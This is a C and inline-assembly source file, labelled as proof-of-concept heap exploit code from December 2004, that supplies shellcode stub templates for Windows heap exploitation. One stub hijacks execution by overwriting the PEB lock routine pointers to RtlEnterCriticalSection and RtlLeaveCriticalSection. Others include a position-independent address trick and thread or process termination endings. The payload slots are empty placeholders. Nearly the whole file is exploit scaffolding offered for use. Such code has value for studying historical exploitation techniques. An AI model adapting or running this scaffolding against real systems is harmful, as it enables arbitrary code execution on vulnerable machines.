// Proof-of-concept code heap exploit code
// Written by Matt Conover in December 2004
#include <windows.h>
#include <assert.h>
#include "shellcode.h"

#if defined (USE_THREAD_TERMINATE) && defined(USE_PROCESS_TERMINATE)
#error "You cannot define USE_THREAD_TERMINATE and USE_PROCESS_TERMINATE at the same time"
#endif

// If you reference the address of a procedure it's not referencing
// the real code but an indirect jump.
// This will read the address of the jmp and return the REAL procedure
// address (i.e., what would be returned by GetProcAddress).

BYTE *GetFunctionAddress(BYTE *Function)
{
	DWORD Address;

	if (*Function != X86_JMP_4BYTES) return Function;

	Address = *((DWORD *)(Function + 1));
	Address += (DWORD)Function + 5; // convert offset of jmp to an address
	return (BYTE *)Address;
}

// Locate the end of the stub by searching for the ending signature
// NOTE 1: The stub must be < MAX_STUB_SIZE (or MAX_STUB_SIZE must be incremented)
// NOTE 2: The signature is not included in the total length
DWORD GetStubLength(BYTE *Stub)
{
	int i;
	BYTE *Address;

	for (i = 0, Address = GetFunctionAddress(Stub); i < MAX_STUB_SIZE; i++, Address++)
	{
		if (Address[0] == END_SIGNATURE_PART1 &&
			Address[1] == END_SIGNATURE_PART2 &&
			Address[2] == END_SIGNATURE_PART3)
			return i;
	}
	assert(0);
	return 0;
}

__declspec(naked) void c_shellcode_stub()
{
	DWORD *ShellcodeAddress;
#if defined(USE_THREAD_TERMINATE) || defined(USE_PROCESS_TERMINATE)
	void (*TerminateFunc)(HANDLE hThread);
#endif

	// Put local variables here, but you must initialize them in the place below	
	// Custom prologue
	_asm
	{
		mov eax, ebp
		mov ebp, esp
		sub esp, 0x1000 // allocate 1K
		pushad // save all registers
		
		// Hack to get the EIP of the shellcode in C
		jmp PushAddressOfShellcodeStart
PopAddressOfShellcodeStart:
			pop eax
			mov ShellcodeAddress, eax
			jmp ShellcodeStart
PushAddressOfShellcodeStart:
		call PopAddressOfShellcodeStart
ShellcodeStart:
		// A debug break ('int 3' for x86) can be placed here
		nop // fall into shellcode in C below
		nop 
	}
	
	//////////////////////////////////////////////////////////////////
	// Start of shellcode in C
	//////////////////////////////////////////////////////////////////

	// TODO: put code here

	// Terminate thread
#ifdef USE_THREAD_TERMINATE
	TerminateFunc = (void (*)(HANDLE))ZW_TERMINATE_THREAD;
	TerminateFunc(GET_CURRENT_THREAD());
#elif USE_PROCESS_TERMINATE
	TerminateFunc = (void (*)(HANDLE))ZW_TERMINATE_PROCESS;
	TerminateFunc(GET_CURRENT_PROCESS());
#endif
	_asm int 3 // shouldn't be reached

	//////////////////////////////////////////////////////////////////
	// End of shellcode in C
	//////////////////////////////////////////////////////////////////
	
	// Custom epilogue
	_asm
	{
		popad
		mov ebp, eax // ebp was stored in eax at the time of the pushad
		add esp, 0x1000
		xor eax, eax		
		ret
	}

	END_FUNCTION // DO NOT REMOVE: this is required to calculate the length
}

__declspec(naked) void shellcode_stub()
{
	_asm
	{
#if 1 // Option 1, disable PEB locking
		jmp GetAddress
Start:
		pop ebx

#ifndef USE_XPSP2
		mov eax, PEB_LOCK_ROUTINE // address of PEB_LOCK_ROUTINE		
		mov [eax], ebx // overwrite RtlEnterCriticalSection
		add eax, 4
		mov [eax], ebx // overwrite RtlLeaveCriticalSection
#else
		int 3 // TODO
#endif

		jmp PutYourShellcodeHere

GetAddress:
		call Start

		// Future calls to RtlEnterCriticalSection/RtlLeaveCriticalSection will go here
		retn 4
		
#else  // Option 2, restore PEB locking

#ifndef USE_XPSP2
		mov eax, PEB_LOCK_ROUTINE // address of PEB_LOCK_ROUTINE		
		mov ebx, RTL_ENTER_CRITICAL_SECTION // address of RtlEnterCriticalSection
		mov [eax], ebx // overwrite RtlEnterCriticalSection
		add eax, 4
		mov ebx, RTL_LEAVE_CRITICAL_SECTION // address of RtlEnterCriticalSection
		mov [eax], ebx // overwrite RtlLeaveCriticalSection
#else
		int 3 // TODO
#endif


		jmp PutYourShellcodeHere

#endif

PutYourShellcodeHere:
	nop // TODO: put your shellcode here
	jmp TerminateShellcode

TerminateShellcode:
#ifdef USE_THREAD_TERMINATE
		xor eax, eax
		sub eax, 2
		mov ebx, ZW_TERMINATE_THREAD
		push eax
		call ebx
		int 3 // shouldn't be reached
#elif USE_PROCESS_TERMINATE
		xor eax, eax
		dec eax
		mov ebx, ZW_TERMINATE_PROCESS
		push eax
		call ebx
		int 3 // shouldn't be reached
#else // Option 2: loop forever
LoopForever:
	mov eax, 0x1000
	mov ebx, SLEEP
	push eax
	call ebx
	jmp LoopForever
#endif
	}

	END_FUNCTION
}